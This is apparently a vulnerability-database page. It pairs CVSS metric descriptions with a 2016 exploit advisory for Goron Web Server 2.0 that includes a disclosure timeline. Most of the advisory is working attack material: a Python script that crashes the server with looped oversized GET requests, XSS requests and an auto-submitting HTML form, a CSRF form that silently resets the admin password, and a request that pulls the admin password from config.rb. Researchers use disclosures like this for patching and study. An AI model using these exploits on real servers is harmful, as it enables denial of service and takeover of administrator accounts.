The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Goron Web Server 2.0 XSS / CSRF / Denial Of Service# Exploit Title: Goron Web Server 2.0 - Multiple Vulnerabilities
# Date: 26/08/2016
# Exploit Author: Guillaume Kaddouch
# Twitter: @gkweb76
# Blog: https://networkfilter.blogspot.com
# GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: https://sourceforge.net/projects/goron/
# Software Link: http://master.dl.sourceforge.net/project/goron/goron/goron2.0/GoronWin32.zip
# Version: 2.0
# Tested on: Windows 7 Family x64 (FR)
# Category: webapps
Disclosure Timeline:
--------------------
2016-08-15: Vulnerabilities discovered
2016-08-23: Developper contacted via Twitter
2016-08-24: Developper contacted me back
2016-08-25: Developper informed me that Goron is no longer maintained (EOL)
2016-08-26: Exploits published
Description :
-------------
Multiple vulnerabilities exist in Goron Web Server 2.0 for Windows. They allow an attacker to remotely DoS the server, or to abuse XSS or CSRF flaws by
sending a crafted email to the web server administrator.
[VULNERABILITY 1/3]: REMOTE DENIAL OF SERVICE (DOS)
___________________________________________________________________________________________________________
By connecting multiple times to the web server and sending long packets, it is possible to crash the server.
Below is an example of a working python exploit.
"""
#!/usr/bin/python
import socket, time
host = "192.168.241.130"
port = 80
junk = '\x41' * 100000
buffer = "GET " + junk + " HTTP/1.1\r\n"
buffer += "\r\n"
print "\nExploit Title : Goron 2.0 - Denial of Service"
print "Exploit Author : @gkweb76\n"
try:
print "[*] Connecting to %s:%d" % (host, port)
for count in range(100000):
print "[*] Sending buffer... (%d)" % count
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
except:
time.sleep(1)
s.connect((host, port))
s.send(buffer)
s.close()
print "[-] Goron not crashed?"
except:
print "\n[*] Goron Web Server seems crashed!"
"""
[VULNERABILITY 2/3]: WEBMIN.RB AND CONFIG.RB CROSS SITE SCRIPTING (XSS)
___________________________________________________________________________________________________________
The webmin.rb and config.rb files are both vulnerable to XSS in various parameters.
Config.rb can be abused directly with a GET request via the 'node' parameter like below:"""
GET http://remote_host/config.rb?node=<script>alert('XSS here')</script> HTTP/1.1
"""It should be noted that config.rb is accessible by default, and allows to retrieve in plain text the admin password of webmin.rb if one has been set.
It should be considered a default configuration password disclosure vulnerability in itself, but it is one of the purpose of this page to display the
server's configuration, including password. Config.rb should thus be restricted, which is not the case on the default install:"""
GET http://remote_host/config.rb?node=Root/System/MainPassword HTTP/1.1
"""
Webmin.rb by default is not password protected, but a password can be set to enforce an HTTP BASIC authentication. Webmin.rb panel enables the
administrator to stop/restart the server, display logs, change password, etc... Each request action is in the following form:"""
POST http://remote_host/webmin.rb HTTP/1.1
data: action=<action here>
"""
This 'data' parameter is compared to a list of allowed actions such as 'StopServer' or 'ShowGUI'. If the action is unknown, the web page is rebuilt and
displays the action parameter content on the top of the page without sanitation, allowing XSS:"""
POST http://remote_host/webmin.rb HTTP/1.1
data: action=<script>alert('XSS here')</script>
"The form below allows to exploit this XSS:"
<html><body>
<form method="post" action="http://remote_host/webmin.rb">
<input type="hidden" name="action" value="<script>alert('XSS here')</script>"/>
<input value="Click Here!" type="submit">
</form>
<script>
document.forms[0].submit();
</script>
</body></html>
"""
[VULNERABILITY 3/3]: WEBMIN.RB CROSS SITE REQUEST FORGERY (CSRF)
___________________________________________________________________________________________________________
The webmin.rb does not have CSRF protection. This allows an attacker to send a crafted email to do any action the webmin page allows to,
such as modifying admin password as below:"""
POST http://192.168.241.130/webmin.rb HTTP/1.1
data: action=SetPassword
data: newPassword=mypassword
"The form below allows to exploit this CSRF:"
<html><body>
<form method="post" action="http://remote_host/webmin.rb">
<input type="hidden" name="action" value="SetPassword"/>
<input type="hidden" name="newPassword" value="mypassword"/>
<input value="Click Here!" type="submit">
</form>
<script>
document.forms[0].submit();
</script>
</body></html>
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